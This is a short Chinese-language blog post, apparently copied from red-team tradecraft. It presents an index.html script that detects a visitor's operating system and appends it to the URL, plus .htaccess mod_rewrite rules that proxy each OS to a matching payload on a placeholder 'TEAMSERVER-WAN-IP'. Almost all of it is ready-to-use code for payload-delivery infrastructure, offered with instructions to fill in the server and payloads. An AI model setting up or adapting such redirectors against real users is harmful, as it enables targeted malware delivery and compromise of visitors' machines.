欢迎光临
我们一直在努力

Operating System Based Redirection with Apache mod_rewrite

可以通过此针对不同操作系统来执行不同的paylaod

index.html:


<html><head></head> <body>  <script> var url_base='http://'+window.location.host; var OSName="unknown"; var query_string=document.location.search; var request_path=window.location.pathname.substr(1); if (navigator.appVersion.indexOf("Win")!=-1) OSName="windows"; if (navigator.appVersion.indexOf("Mac")!=-1) OSName="mac"; if (navigator.appVersion.indexOf("X11")!=-1) OSName="unix"; if (navigator.appVersion.indexOf("Linux")!=-1) OSName="linux";  var os_string='&os_id='+OSName; if (query_string == '') os_string='?os_id='+OSName; if (query_string.indexOf("os_id=")!=-1) os_string='';  window.location.replace(url_base+'/'+request_path+query_string+os_string);  </script>  </body></html>

mod_rewrite 规则:

将下面的规则写在.htaccess文件中,更换TEAMSERVER-WAN-IP以及OS-payload


RewriteEngine On RewriteCond %{QUERY_STRING} os_id=mac RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/MAC-OS-X-PAYLOAD [P] RewriteCond %{QUERY_STRING} os_id=windows RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/WINDOWS-PAYLOAD [P] RewriteCond %{QUERY_STRING} os_id=unix RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/UNIX-PAYLOAD [P] RewriteCond %{QUERY_STRING} os_id=linux RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/LINUX-PAYLOAD [P] RewriteCond %{QUERY_STRING} os_id=unknown RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/UNKNOWN-OS-PAYLOAD [P] RewriteRule ^(.*)$ http://TEAMSERVER-WAN-IP/OS-DETECTOR.HTML [P]

演示如下:
Operating-System-Based-Redirection-with-Apache-mod_rewrite-1 Operating System Based Redirection with Apache mod_rewrite

详情:戳我

配置文件在这里:戳我

未经允许不得转载:杂术馆 » Operating System Based Redirection with Apache mod_rewrite
分享到: 更多 (0)